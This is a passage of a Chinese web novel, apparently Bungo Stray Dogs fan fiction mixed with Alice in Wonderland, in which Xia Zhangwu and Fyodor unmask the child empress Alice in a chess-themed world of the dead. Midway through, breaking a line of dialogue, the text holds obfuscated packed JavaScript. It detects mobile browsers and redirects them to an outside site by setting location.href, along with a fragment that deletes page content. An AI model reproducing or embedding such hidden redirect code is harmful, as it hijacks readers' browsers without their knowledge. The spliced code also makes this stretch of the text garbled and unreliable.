爱丽丝女皇两只手放在膝盖上,表现得相当规矩和乖巧,只不过那对站蓝色的大眼睛中充满着好奇。 她的身上还没有换下那身华丽的蓝色长裙,头顶的瓦楞纸王冠也歪歪斜斜的。那只小鹰则是努力地伸着脖子,也用懵懵懂懂的好奇目光瞧着他们。只有吸蜜鹦鹉表现出了不屑一顾的样子,在大厅的顶上飞个不停。 夏章雾认出来了那只小鹰——这就是他在卡罗尔的家里匆匆瞥到的鸟。 他记得读者们之前也在评论区里聊到过,她大概就是爱丽丝的妹妹伊迪丝,也是卡罗尔日记里的那只“小鹰”。 对方此时大概也已经忘记了那次在现实世界的见面,只是好奇地歪着脑袋,同时用尖尖的鸟喙“啪嗒啪嗒”地打着拍子。 夏章雾听了几秒,才反应过来是那首无处不在的八音盒曲目的节奏。 “她是在为音乐打节拍吗?” 他问。 “应该是的吧。伊迪丝特别喜欢音乐。” 爱丽丝女皇低头看着自己的妹妹:“我还记得伊迪丝经常会跟着音乐转来转去,然后她就会头晕眼花地撞在地板或者天花板上——呀!” 她不好意思地捂住嘴。小鹰也不打拍子了,转而用谴责的眼神看着自己的姐姐。 “对不起,伊迪丝。我的确是答应你不把这件事说出来的,但我刚刚不小心忘记了。请你继续打拍子吧。”爱丽丝请求道,然后继续说话。 她匆匆忙忙地说:“我刚刚真应该说伊迪丝的好话的,比如说上次她给大家唱歌的场景,最后只有罗丽娜觉得她唱得不够好听,因为她那天早上的牛奶被伊迪丝打翻了——哎呀。” 于是这回轮到吸蜜鹦鹉生气了。 “天啊,我才没有那么小心眼。”她说,“爱丽丝你真是个笨蛋!” 夏章雾注视着这一幕。他大概知道爱丽丝现在有点不安,所以才喋喋不休起来,尝试让气氛缓和一点。只不过她在这方面过于心直口快,把自己的姐妹惹恼了。 孩子们总是这样:他们也许意识不到到底发生了什么事情,但能轻松地发现气氛中某些微妙的转变,像只兔子一样警觉起来,用各种努力来让自己从这种困境中逃脱。 “您在想什么?” 费奥多尔微微侧过头,轻声问道。 “我在想。” 夏章雾抑郁地回答:“这种工作到底要我继续和未成年人打交道多久。” “你不会想要知道答案的。”画外音悠闲的声音在他的耳边响起,“话说你们对待未成年人采用这种冷暴力真的好吗?” “我可没意见。” 夏章雾小声地说:“就算排除其他问题,这也比热暴力要稍微好上一点。” 在他面前,说错了好几次嘴的小姑娘终于有些不安地停了下来,不再喋喋不休地讲着姐妹间的故事了。她似乎想说什么,但最后只能抱紧怀里的小鹰,继续盯着费奥多尔。 “那睡鼠先生。”她用小小的、很快的声音询问道,“宴会到底要什么时候才正式开始呢?” 费奥多尔平静地看着这位已经本能地胆怯起来的小姑娘。而那只吸蜜鹦鹉正在凶巴巴地看着他,表现出生怕有人欺负自己妹妹的样子。 “爱丽丝陛下。” 他并没有回答,只是微笑着询问道:“您玩过国际象棋吗?” “玩,玩过?我记得很久之前我和罗丽娜玩过这个。我说,罗丽娜,你假装你自己是象棋里的国王和王后,怎么样?然后罗丽娜告诉我才不行,因为她只有一个人,没有办法同时假装国王和王后。然后我说,好吧,那只能我来了。” 小姑娘说得有点急,就像是被什么东西在后面追着赶一样。 说完后,她还怯生生地看了费奥多尔一眼,活像是被老师点名背课本的倒霉学生,似乎就连自己都不太确定该不该这么说话。 罗丽娜发出一声咕哝。她用劲地甩着自己的鹦鹉脑袋,显得稍微有点烦躁。 ——这种事情当然算不上玩国际象棋,充其量是国际象棋模板的角色扮演。但费奥多尔并没有表示质疑的意思,只是点点头。 “您还记得那是在哪里发生的吗?” 他继续问。 “当然是在家里!当时还是冬天呢,壁炉烤得噼里啪啦的。爸爸妈妈他们都出门了,我们就靠在壁炉边上一起玩……最开始我们捏着国际象棋在棋盘上乱摆……” 爱丽丝的声音越来越小。她坐在自己的位置上,露出分明不解的神情,然后又扭头看了看罗丽娜的位置,似乎正在思考一只吸蜜鹦鹉到底该怎么挪动国际象棋的棋子。 “我不明白。”她说,“罗丽娜,当时你是怎么和我一起玩的?” “爱丽丝。”罗丽娜不快活地喊道,她一下子飞到了天花板上,“你这个笨蛋笨蛋笨蛋!” “您果然记得。” 费奥多尔平静地说,他抬头看着似乎有点气急败坏的吸蜜鹦鹉:“您知道这里是个梦。” “梦?” 爱丽丝有些稀里糊涂地歪着脑袋,她再次感觉事情变得她完全理解不了:“所以这里是我的梦吗?还是罗丽娜的梦?这听上去真令人不快活。而且我总觉得之前好像在哪里听说过。” “笨蛋爱丽丝!”罗丽娜再次喊道,她看上去完全没有理会费奥多尔的意思。 然而俄罗斯人继续说着。 “除了爱丽丝陛下,所有误入这里的灵魂都被倒退回了刚刚来到这里的样子。” 他说:“您现在依旧是鹦鹉,是因为您来到这里的时候就拥有着这个身份。但这并不妨碍您的意识依旧是清醒的。如果说伊迪丝的年龄还太小,根本不足够明白这些事情。但我想,无论如何,您还是能够区分的。” 吸蜜鹦鹉不说话了。 她开始用眼睛瞪他,那真的是一种十分生气的眼神。 “您知道爱丽丝已经死了。你也知道这个爱丽丝并不是真的。” 费奥多尔回以她的是丝毫没有改变的平静目光:“如果卡罗尔也能看出来这一点,那么您作为她的姐姐,没有理由不发现。同样,您更没有理由认不出刘易斯·卡罗尔——如果你们平时对彼此的称呼都是小鹰、吸蜜鹦鹉与渡渡鸟。” 罗丽娜的意识是清醒的。 她不像是在这里生活了太久的爱丽丝。她身上的时间已经被一视同仁的倒退回了刚刚来到这里的状态。 但她依旧选择了爱丽丝,假装出不认识卡罗尔的样子,似乎宁愿自己就是只吸蜜鹦鹉。 “你可以——闭嘴了。” 罗丽娜发出威胁的声音。 她落在爱丽丝女皇的面前,没有去看自己妹妹困惑而又不安的表情,只是张开翅膀,摆出不允许任何人继续说下去的气愤样子。 “这里只是我的梦!” 她说:“我爱怎么样就怎么样!” “我还是搞不懂罗丽娜为什么这么坚持这里是她的梦。我总觉得这要是梦的话,肯定也是我的梦才对。” 爱丽丝小声地对自己的妹妹说:“天啊,如果这个梦醒过来到底会怎样?我真是一点都搞不明白——这有点太荒谬了。不过也许罗丽娜确实在做梦,但做的并不是这个梦!” 她似乎把自己说服了一点,但很快罗丽娜就气乎乎地喊道:“不,我梦见的就是你!笨蛋爱丽丝!” “可我绝对不是在罗丽娜的梦里。因为我问出来的问题罗丽娜都不知道该怎么回答。” 爱丽丝女皇觉得自己说的很有道理,她睁着困惑的大眼睛:“而且我根本没有办法想象你醒来后我到底怎么样。” 小女孩们叽叽喳喳的声音真的很容易让人糊涂起来。夏章雾看了看周围,只觉得脑袋已经隐隐作痛了起来。 好吧,这群小孩子已经飞快地来到了“这到底是谁的梦”的环节,直接跳过“这里到底是不是梦”的步骤了。< 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他尝试用委婉的方式说出这句话,结果发现自己根本做不到委婉:“你确实已经死了。就在今年的春天。” 爱丽丝女皇愣愣地看着他。 她湛蓝色的眼睛变得圆溜溜的,还有那么一点不可置信,然后她的嘴角一点点地撇下来,呈现出小孩子脸上常见的委屈模样。 “我才不相信!” 她说:“我是活着的。” 虽说如此,但小姑娘的声音已经低下去了,眼睛中也开始蓄积起泪水,就像是她生怕吵醒哪个“正在做梦的人”,好让自己就这么莫名其妙地消失掉。 “如果您愿意的话,我们很乐意为您读一读那一天的讣告内容。我已经把它记下来了。” 费奥多尔云淡风轻地说:“其实我想,您也意识到了自己可能不是那么像是活人。至少您没有办法解释自己那些模糊不清的记忆,也没有办法解释这里发生的事情。” “我又不明白这里的事!我从来都没有搞明白你们在说什么!” 爱丽丝女皇这么回答,她似乎很生气,眼泪都要掉下来了:“而且我,我才不要承认我已经死掉了呢!你们看!我明明还活得好好的呀!” 想要一个小孩子接受这样的事实确实挺困难的。至少在平时,夏章雾甚至都没有办法让一个孩子相信“触碰电插头很危险”,这就是为什么他非常讨厌接触未成年。 “我现在唯一的安慰就是她应该不算是人。” 夏章雾忍不住对费奥多尔说:“这样应该没有人跑过来举报我虐待儿童。我是说,应该没有人过来举报我。除非我的良心突然产生了自我意识,决定给我点颜色看看……” 费奥多尔“唔”了一声。 他没有发出“您真的有良心吗”这样的质疑,让夏章雾很是遗憾:如果真的有这样的质疑,也许他为数不多的良心倒是真的会好受一点。 “哭有什么用!” 罗丽娜恨铁不成钢地说道,开始在她的头顶上飞来飞去:“你就算继续哭个几个小时,也没有办法把自己从死掉变成活着的!” “爱丽丝,振作起来!” 这只吸蜜鹦鹉用喙去拽爱丽丝的头发,她气呼呼地喊道:“他们就是过来捣乱的,你快把他们赶走或者变成……哎呀,变成随便什么东西都行!就算你没志气地想要把他们变成猫咪我也不介意!别让他们继续欺负你!” 小鹰伊迪丝也担心地回头看着自己的姐姐。她从爱丽丝的怀里挣脱出来,发出不安的“叽叽叽叽”的声音。 爱丽丝抬起头。她满是泪光的蓝眼睛定定地瞧了面前的所有的“人”一会儿,随后伸手拿下自己头顶的王冠,紧紧地抱在了怀里。 “我才不信你们的话!我一个都不信!” 她像是从这个动作里面找到了勇气,紧紧地握住拳头,大着胆子说:“你们这些说我已经死掉的全都是坏蛋!因……因为我还是女皇,所以我肯定还是活着的!只要棋局还没有结束,我就肯定还没有死掉!” 59.天上没有免费的馅饼 国际象棋的棋局还在继续吗? 似乎这局游戏已经被破坏了个彻底:棋盘上的其他棋子已经不再存在了,甚至有可能连棋盘都不再存在——如果说之前夏章雾跨过的河流就是国际象棋棋盘上的横线,那么现在当他飞在天空上时,也看不到任何河流。 但爱丽丝仍旧是女皇,费奥多尔国王依旧是国王,夏章雾身上依旧穿戴着象征着“车”的岩石铠甲。 这个世界依旧用这种方式限定着他们各自的身份,而最重要的是—— “您说得对。” 夏章雾叹了口气,这样回答:“只要双方的国王没有倒下,只要双方还能行动,那么国际象棋就不会结束。爱丽丝陛下,或者说,另一位国王陛下。” 爱丽丝睁大了含着泪水的眼睛。 “诶,你们怎么……” 她明显有些慌乱,站起身往后退了几步,呈现出害怕的模样,简直要躲在吸蜜鹦鹉的身子后面,可怜兮兮地张望着。 ——棋局进行下去的前提是两位国王依旧存在。如果说黑棋没有倒下的国王是费奥多尔,那么白棋的国王自然也昭然若揭。 “您还记得吗,爱丽丝陛下?” 夏章雾有些无奈地看着这个小姑娘,她隐藏自己的方式真的很不高明,甚至有点小孩子特有的顾头不顾尾。 “您在第一次带着我跨过两条河流时,说兵的第一步可以直接跨过两条河流。但实际上,当时的情景更像是我往前走了两步,而不是我在第一步走了两格。” 爱丽丝女皇努力地想了想。 “哎呀,我忘记了。” 她委屈地小声说道:“我才想起来,当初我还是兵的时候,第一步虽然迈了两格,但是只跨过了一条河流……” 夏章雾突然有了再叹一口气的冲动。 他真的不想让自己的行为看上去更像是在欺负笨蛋小孩了,尤其是现在他耳边作者正在发出毫不客气的“啧啧”看戏声,仿佛要代替他的良心谴责他一样。 “当时我就在怀疑您了。” 他说:“这看上去就像是您只能走一格,才没法带着我直接跳过两个格子。而在国际象棋这个游戏中,行动距离如此受限的,除了兵以外,只有国王。” 爱丽丝看上去更委屈了。 “对,对不起。” 她说,似乎恨不得把自己整个人在吸蜜鹦鹉的身后压缩成小小的一团,似乎开始对自己骗人感到内疚起来——她完全意识不到这种场景应该是大人对她道歉才对。 “我听到了有人的良心正在隐隐作痛。” 画外音颇有兴致地说,就像是面前发生的事情和它一点关系都没有一样:“如果某个人非常急于向我证明他根本就没有多少良心的话,我觉得我也可以替代他的良心运作一下。” “你去当那家伙的良心去吧。” 夏章雾努力不让自己露出死鱼眼,只是没好气地对画外音说:“我觉得现场所有人里最需要良心这种东西的是他。” “你说的对。”画外音说,“实际上我觉得他现在正在看热闹。好巧,其实我现在的心态也差不多。” “……” 夏章雾深吸一口气,礼貌地忍住了问候画外音和费奥多尔的冲动,继续说出自己的推理,只是语气逐渐变成了咬牙切齿。 “总之。”他咬牙切齿地说,“最后让我肯定了您身份的,是某个人对我说的话。他说,曾经这个棋局有一次即将结束的时候。” 在他前往爱丽丝女皇宴会的最后一条河前,刘易斯·卡罗尔及时地找到了他,并且给他送来了确认爱丽丝身份最后的情报。 这个死者的世界其实是一个在游戏结束后不断推翻重建的游乐场。而在这个“国际象棋”的游戏当中,曾经有一次差点走向结束。也就是在那之后,爱丽丝女皇成为了女皇。 “国际象棋游戏在某一方的国王被吃掉时宣告结束,也就是说,能够让即将结束的游戏继续下去的必然是诞生了新的国王。” 费奥多尔语气轻松地接过话题。他大概是察觉到了夏章雾咬牙切齿语气里对自己身边人看热闹的不满,所以专门在这个时候替补了一下: “非常简单的推理,不是吗?” 爱丽丝再次发出相当可怜的声音。 “啊,那也是我的错。” 她小小声地说,抱紧了自己的王冠:“当时的情况简直就和现在一样,全部都乱了套!大家都乱糟糟的,完全听不懂我说的话,到处跑来跑去。我觉得这一切都是红王后的错,于是就去抓她——结果我不小心撞到了她身边的国王!” “他当时差点就快要醒过来了。不过很久之前有人和我说过,说这个世界就是他的梦,他醒过来的时候我就会消失!他们说我是个假人。” 讲到这里时,爱丽丝女皇看上去好像又要哭出来了:或许是因为她发现自己可能不是假的,但也没有她想象中那么活生生。 “于是我拿走了他的王冠。因为我想,他们都说国王才是做这个梦的人,那么只要我成为国王,那么他就算醒过来也没事!这样就算我们真的是他的梦,也不会消失。所以我把王冠戴在了自己的头上——” 于是爱丽丝王后变成了爱丽丝女皇。 一切的发生都是这么巧合,就像是早早就被安排好的剧目。钦定的女主角“爱丽丝”在这个时候迎来了独一无二的荣耀结局。 她是国王也是王后。她是打破了国际象棋规则的天选之子,这个故事里从来没有出现过的女皇。她戴上了属于自己的冠冕。 美丽且荣耀的女王,她让这个国度长久地维持下去,让一切不再改变。她让这个世界的居民长久地玩耍下去,玩耍到生命的最后一刻。 ——虽然她后来又用瓦楞纸小心翼翼地把它伪装起来,让它看上去比起国王的十字冠更像是王后的尖冠。但这无损于她的权柄。她是死亡国度里至高无上的女王。 夏章雾看着紧紧抱着怀里王冠的小姑娘。 他突然觉得自己之前咬牙切齿的不满已经消散了大半,甚至觉得面前的场景有点好笑。 如果文学负面体就是卡罗尔比喻里,那个用沙子捏的人偶来表演剧目的孩子,那么它想要表演的肯定不是一个国际象棋游戏。 而是一个以国际象棋为题材的,小女孩成为皇后的“励志冒险”故事。它最大的目的,就是为自己制造出这样的一个女皇。 让故事永远这么自我复制粘贴地重复下去,让所有的快乐都在这种永无止境的延续中失去自身存在意义的女皇。 “所以,陛下。” 他轻轻地说:“想要让这一切结束,还有着一个棋局上的方法。那个方法你已经尝试过。” 爱丽丝女皇愣了一下。 “——杀掉一位国王。” 现在棋盘上只有三枚棋子。而在国际象棋的规则里,国王并不能杀死国王。 作为“车”的夏章雾就这么安静地看着面前那位脸色苍白的小女孩,往前走去。而挡在爱丽丝面前的彩虹鹦鹉发出一声尖锐的鸣叫。 “笨蛋爱丽丝!”她说,然后用力地开始推后面的女孩,“你快跑!” 小女皇有些茫然和不知所措地看着面前突然混乱起来的场景。最后是她身边的小鹰有些急促地推了她一把,她才意识到自己应该做什么。 虽然她还没有来得及理解自己为什么要跑,虽然她甚至都没有搞明白这里到底都发生了些什么,但她还是转身就跑,用力推开宫殿厚重的大门,就这么消失在了这里。 没有人阻拦她。 她就这么一路跑了出去。 …… 「桉莉斯: 账务:够了!其实我根本不怕小孩子哭。什么害怕小孩子哭,害怕小孩子因为我哭,其实都是我装的。我装作被哭声吓得变成洲际导弹,只是我计划的一部分。你们别说了,我有自己的节奏。」 正在看笔记本的夏章雾深深地盯着:“……” 很好,在吓走爱丽丝max之后,翻开笔记本就是爱丽丝小姐的抽象笑话。他现在怀疑自己已经深深地陷入了名为“爱丽丝”的漩涡当中,身边充满着无处不在的爱丽丝。 随后他又无视了读者们在欣赏他和费奥多尔乐子时的评论,翻到下一页,然后就这样看到了读者们在欣赏他和女王乐子时发表的评论。 「暮川夜: 啊哈,虽然认识账务你的差不多都死完了,但是万一就有那么几个没死掉呢?以后是不是还能看到这种类似于熟人梗的?说不定以后还能出现那种:你小时候我还抱过你呢(那种语气)」 “这种事就不要说了,真的很可怕。” 夏章雾扶额:“我现在已经精准地见识到你们的预言能力了。拜托,能不能说点好的。” 他继续硬着头皮看下去,结果越看越觉得头皮发麻:有一大群读者都在兴致勃勃地聊他大概是发生在过去的屠龙事迹,基本上已经把“他就是曾经那个杀了龙的圣乔治”给说出口了。 「七: 哇哦~Leto叔叔~你在未来和过去屠龙了欸~好厉害哦~(呕)」 七!怎么你这种温温柔柔的性格也被魔王和爱丽丝那两个看起热闹不嫌事情大的给带歪了!你正常一点啊,这个评论区的正常读者已经为数不多了好吗? 夏章雾只感觉到深深的痛心疾首。他觉得评论区真的急需一些正经读者,最好是全程能保持正经的。比如说liar和飘然如烟什么的——话说回来,也确实好久没见到这些正经角色了。 他往后翻了翻,结果只看到了玧末和爱丽丝关于自己过去的正儿八经分析评论。 好吧,现在的正经分析贴都需要爱丽丝这种搞笑选手来负责了,真是令人泪目。 夏章雾认真地读完,发现她们两位都觉得自己过去的失忆状态问题非常大,而且还一视同仁地怀疑起了自己身边钟塔侍从的所有人,觉得他们出现在自己周围也或多或少有些问题。 夏某人抬起头,又低下头。 “我不这么认为。”他说,“如果那群家伙想故意接近我,他们肯定会选择更高效的方法——比如送我一笔钱,而不是给我身边安排一个会欠我五十英镑的混球侦探。” 唉,他真的很期待钟塔侍从这么干。 可惜,世界上并没有从天上掉下来的钱。只有莫名其妙因为那个过去缠上自己的另外一个混蛋侦探。 想到这里,夏章雾就深沉地叹了口气,然后伸手狠狠地揉搓了一下那只很明显明白的东西还没有爱丽丝多的小鹰。 小鹰伊迪丝一开始还有点害怕他。但是她或许是非常快地明白了夏章雾的身上没有恶意——至少对她没有恶意,于是胆子又逐渐大了起来,开始生气地啄他。 “姐姐,姐姐。”她不再叽叽叫,而是用稚气的声音细声细气地指责,“你们把姐姐吓走了!” 话虽如此,她却没有看费奥多尔的意思,而是用眼睛盯着夏章雾,好像只打算对他一个人进行道德上的谴责——而夏章雾本人已经懒得想这到底是欺软怕硬还是她也意识到了那家伙根本就毫无道德。 “伊迪丝!我都说了好几遍,不要用这种没有用的语气指责他人!” 被关在笼子里面的罗丽娜生气起来就要比她的妹妹们有威慑力多了:“这样只会让人觉得你很好欺负!你要知道,把我从笼子里面放出来可要有用多了!你们这群坏蛋!” 她用力地拍着翅膀,把笼子撞得叮叮当当作响,似乎自己都要气得哭出来。 “爱丽丝她现在还至少活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448873|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这里!” 她说:“你们为什么不让她这样好好活着!这里只是一个梦啊,你们连梦都要破坏吗?” 正在打量着夏章雾的费奥多尔抬起头,看了眼这只多嘴多舌的吸蜜鹦鹉。 “那条蛇带回来的笼子还挺好用的。”他说。 “是啊,撞了那么久也没出问题。”夏章雾也点点头,罕见地对他的话表示了赞同。 这个原有的一切都遭到还原的世界里,当然没有什么鸟笼存在。这都是他们在和阿尔贝蒂娜女王商讨完计划后,顺手让那条现在还能出入这个世界的蛇带过来的。 事实证明,这个现实世界的笼子就算是装这里的“鸟”也非常实用。 “更何况,这里也不是梦。至少它不完全是梦。”夏章雾想了想,最后还是给笼子里面的小鹦鹉额外解释道,“这里是死者的世界。” 毕竟现在也没有瞒着她的必要了。他也不是什么必须要把秘密留到结局才说的恶趣味家伙。 吸蜜鹦鹉源源不断的诅咒声戛然而止。 小鹦鹉身上彩虹般的羽毛都有些惊慌失措地竖了起来,让她的体型看上去整整大了半圈。这也很正常,对于活人来说,他们大概都并不愿意提前来到这里。 但她很快就又生了气,大概是觉得这样的回答实在是太荒谬了。 “不!”她说,“这肯定是你们骗我的!我们都根本没有死,怎么回来到死者的世界!” “我们没必要骗你。我们要骗的是爱丽丝,她在这里的地位很特殊。” 救世主先生拿出了自己这辈子对未成年第二大的耐心——他这辈子最大的对未成年耐心都花费在太宰治身上了,好声好气地回答:“而且你也觉得这很合理,不是吗?爱丽丝已经死了,她出现的地方自然是属于死者的。” 吸蜜鹦鹉没有回答。 她看上去似乎终于有了点后知后觉的害怕和难过。小小的鸟脑袋埋在胸口蓬松的羽毛里,终于不再说话了。 “当然了,现在我们还没有死。但是我们必须要毁掉这里,否则这整个世界都会成为死者的世界。或者是成为不死者的世界,谁知道呢?” 夏章雾叹了口气,合上笔记本。 “然后人类总有一天会在永远无法到来的死亡面前发疯。曾经渴望拥有和真实的东西变得廉价,曾经重要的情感终于在时间的洗刷下一文不值,然后——成为真正的幽灵。” 他耸耸肩,显然也没有指望这个还没有经历满四分之一人生的孩子真的能听懂他在说什么。 “事情就是这样。”他说。 在说这段话话时,夏章雾的目光一直落在费奥多尔的身上,带着一种并没有多少掩饰意味的困惑表情。 在很多很多年前,他自己曾生活在这片土地上。这一点已经在读者们或欢呼雀跃的看热闹或深沉而又认真的思考下得到了确认。 那么,认识他的费奥多尔又到底活了多久? 他们曾经有几十年的时间没有相遇过。但他们真的只认识了几十年吗?他们会不会在好几个世纪前就已经相识? 夏章雾没法确定。 他只知道读者们曾经和他说过,这位俄罗斯人的异能力是取代杀死自己的人。从某种意义上来说,他是世界上距离死亡最遥远、也是接触死亡最多的那几个人类。 但就算是生理上的寿命没有极限,人的精神也必然存在着一个期限。 人类渺小的心智无法衡量宇宙,也不知道对于世界来说微不足道的上百万年时间到底该用什么方法进行填充。 如果没有必要的理由,人顶多活个两三百年就会厌倦自己相比同类而言过于漫长的生命。 绝大多数人活下去的理由根本就无法支撑他们度过更长久的岁月,强行活下来的结果就是面目全非,甚至与最初的自己背道而驰。这就是为什么象征着“背叛自我”的这个文学负面体如此热爱停滞、永恒与自我复制。 那他呢?让他选择一直活下去的到底是什么样的理由? 夏章雾其实最好奇的就是这个问题。 “喂,说到这个。”他说,“那个谁。” 费奥多尔歪了下头:“怎么了?” “你应该活了很久吧?” 夏章雾摸了摸下巴,用研究的眼神打量着面前的人类:“你有没有想过,自己是为了什么活下去的?我就是单纯的好奇,你现在的目标是不是和最初的有了变化。” 费奥多尔轻轻地“唔”了一声。 “您知道吗?”他说,“以前东方有种做法,是把驴子的双眼蒙上,前面吊着一根萝卜,好让它不停地拉磨。” 夏章雾谨慎地没有出声,只是点点头。 费奥多尔继续说:“还有一些人,为了每个月中的一天能够拿到一笔用来生活的金钱,可以每天耗费几个小时甚至十几个小时的时间,还没有任何怨言。” 以前是每天工作十几个小时的教授,现在更是成为了全年无休随叫随到救世主的夏章雾开始疑心这有在骂自己的嫌疑。 “开什么玩笑。” 作者毫不犹豫地说:“你拯救世界的报酬就是世界被拯救了,我是不会发额外工资的。” 夏章雾:“……” 好吧,他想多了。事实证明他更惨,他现在变成了打白工的,某位混蛋作者甚至懒得给他的头上拴根胡萝卜。 “而我的目标就和他们一样,都是为了一个偶尔才能发生、甚至随时都有可能不再发生的奇迹而行动,至今也是如此。” 俄罗斯人继续说,他似乎朝夏章雾微微地笑了笑:“在我们过去平均十年才能见一面的时间里,您总是在彻底失踪前对我说‘后会有期’。” “——我想,那应该就是我一直走到今天的理由吧。” 60.就这样,爱丽丝的人生全完了 爱丽丝女皇依旧在奔跑。 她自己都不知道是为什么而跑起来的。她的脑子里一片茫然,甚至都没有开始运转和处理信息,根本没法深入理解其中的含义。 死亡。 这种事情对于一个还没有满十岁的小孩子来说还是太复杂了,更何况她前不久还只是个开开心心地举办宴会的小女孩。她的小脑袋瓜里无法承担那样庞大的概念。 所以她几乎是在本能的驱使下离开了那个气氛非常让她感到不安的地方,跌跌撞撞地飞奔出去,然后—— 然后她就被门口蹲着的渡渡鸟绊了一跤。 故事的发展突然戏剧性了起来。 “呜啊!”“渡渡渡!” 就这样,一人一鸟猝不及防又稀里糊涂地在长廊上轱辘轱辘地滚了起来,像是保龄球与被保龄球撞得歪七扭八的保龄球瓶。 当然,在谁是球和谁是球瓶的话题上可能存在着部分争议。但结局是差不多的。 他们都滚了好远才停下来,小女皇全程都紧紧地抱着自己的王冠,像是生怕自己最后还有的东西被抢走。而渡渡鸟则是头昏眼花地承担了肉垫的角色——事实上,它胖乎乎的身材与软软的羽毛也的确很适合这种定位。 “渡渡渡?” 等到这场史诗般的滚动终于停下来,卡罗尔才晃了晃自己晕乎乎的脑袋,向面前似乎很害怕的小姑娘发出代表疑惑的叫声。 他对面的爱丽丝还迷迷糊糊地坐在地上,怀里紧紧地抱着那顶瓦楞纸做的王冠,几乎都快用力到把那张瓦楞纸捏坏了。 小姑娘的表情呆呆的,但是那对湛蓝的大眼睛中依旧满是泪水,似乎只要一句话的功夫就能从脸颊上面不断流下。 卡罗尔歪头看了她一会儿,心里想着费奥多尔和夏章雾到底干了什么好事,然后又忍不住走得更近了点,用鸟喙戳戳小女孩的脑袋。 “渡渡?”他说。 “渡渡鸟先生。” 爱丽丝女皇抬起头看他,声音中有着压抑不住的颤抖:“他们肯定是在说胡话,对不对?就像是以前我和大家玩的时候,我会假装自己是什么东西。这次也只是他们假装我死了,对吗?我明明还是活着的!” “渡渡——” “啊,您说的没错!如果我死掉的话,我怎么会哭呢?这个世界上有死掉的人会哭吗?” 虽然根本听不懂渡渡鸟的语言,但爱丽丝还是抹了抹自己流下来的眼泪,又笑了起来。她站起来,往自己前来的方向看去,但又不是那么敢回去。但她不打算继续哭了。 “为这种事情哭实在是太不像女皇该有的样子了。而且你已经很大了,爱丽丝。这么哭起来真是丢脸!你简直快哭出一个池塘!” 她大声地对自己说:“你应该像罗丽娜说的那样,跑远点。也许这就是游戏的规则呢。要是不遵守规则,在游戏里输掉也太糟糕了!” 卡罗尔歪头看着重新振作起来的小女皇,笨拙地挥动了两下翅膀,然后往前面以渡渡鸟的跑步速度跑了两步,紧接着又停下来。 “渡渡!”他再次叫道,继续往前跑去。 “渡渡鸟先生!” 爱丽丝稍微犹豫了一下,但想了想身后那个地方发生的事情,很快就鼓足了勇气,跟着渡渡鸟跑了起来:“你要去什么地方?” 回答她的是“渡渡”的声音。 不过这种没有含义的回答并没有让爱丽丝停下说话的意思。相反,她像是从这种一问一答当中得到了安慰,话又忍不住多了起来。 “渡渡鸟先生——啊,我应该叫您卡罗尔先生的!之前他们都是这么叫你的,这应该才是你的名字。你知道吗?自从我的宴会出了一个大乱子后,这里的一切都变得好奇怪!大家的态度都怪怪的,好像是他们都有事要瞒着我。” “渡渡。” “还有还有,他们又说这里是梦,又说我已经死了,也特别奇怪!我的脑袋都快要被他们搞糊涂了。而且他们还说要杀死国王……” 爱丽丝女皇的声音低落下来:“为什么他们这么想要结束这个游戏呢?明明在游戏里,大家的样子都是那么开心!这里大家可以一直一直地玩下去呀。” “渡渡。” “啊对了!还有一件事。睡鼠先生还说了什么时间倒退,还说你和罗丽娜她们是一样的。我其实根本都没有听懂,他好像不是对我说的,是跟罗丽娜说的。他还说罗丽娜知道我死了,哎呀哎呀,我更糊涂了!” 小女皇露出很苦恼的表情,她摸了摸自己头顶上的歪歪斜斜的王冠,然后抬起头,就像是正在聆听天空中那永远都不会变化、永远都在重复着同样旋律的音乐。 “渡渡?” 渡渡鸟轻轻地叫道。他停下脚步,看着身后那个越走越慢、甚至连渡渡鸟的奔跑速度都快要赶不上的女孩。 他们此时已经走到了那道由无数的玻璃与镜面构成的长廊。那位小女皇就坐在其中的一个角落里,似乎没有一点走的打算了。 她只是看着镜子里那些其他爱丽丝的倒影,看着那些快活的或者有点生气的爱丽丝——绝大多数时候她都是快活的,偶尔会因为罗丽娜的事情感到生气,蓝色的眼睛中满是迷茫。 “渡渡鸟先生,我现在好饿。而且我都有点害怕当国王了。” 爱丽丝女皇低低地嘟哝一声,把脑袋靠在膝盖上,好像连看渡渡鸟都有点不太敢:“也许本来我就不该是国王。虽然不知道发生了什么,但我感觉这一切就好像全都是我的错……” 卡罗尔似乎叹了口气。 然后他用脑袋蹭了蹭小女孩,张开短得有点可笑的翅膀拍拍她,似乎是想要用这种方式稍微安慰一下这个孩子。 这个作为女皇而被创作出来、但终究没法当好女皇的孩子。 “爱丽丝,你在哭吗?” 另一个少女的声音响起。 爱丽丝愣了一下。 她抬起头,看到镜子当中的自己已经一个个地消失了,取而代之的是镜面中另一位戴着王冠的女王。 她身上的衣服没有自己那么华丽,但头顶的王冠要更加闪闪发光,肩膀上还盘绕着一条赤红的小蛇。那对银灰色的眼睛看着自己,眼神中似乎带着明显的不解。 “渡渡渡!” 卡罗尔一下子跳了起来。 他连忙表现出庄严肃穆的样子,像个标准的渡渡鸟标本那样地站在那里。 不过没过几秒,他就觉得这种严肃的姿态实在是太欲盖弥彰了,于是换了个策略,转而尽可能地让自己表现得像个在地上寻找到底哪里有坚果的渡渡鸟。 “你身边还有一只渡渡鸟吗?” 阿尔贝蒂娜女王的目光在尝试装模作样的刘易斯·卡罗尔身上停留了片刻:“它看上去有点晕头晕脑的。” “渡渡。” 之前一直在试图自欺欺人的渡渡鸟缓缓地抬起头。他用生无可恋的眼神看着镜子,发出相当干巴巴的叫声:“渡渡渡渡渡渡。” 啊哈,完完完蛋。 本来就没有很好地完成任务,现在还需要钟塔侍从请外援来捞人,最后还顶着这副样子去见了顶头上司的顶头上司。 刘易斯·卡罗尔先生,虽然并不后悔自己所做出的决定,但已经预感到了自己在钟塔侍从内惨淡无光的未来。 至于对方没认出自己? 卡罗尔根本没考虑过这种可能。他现在感觉自己简直快要得抑郁症了。 “是你!” 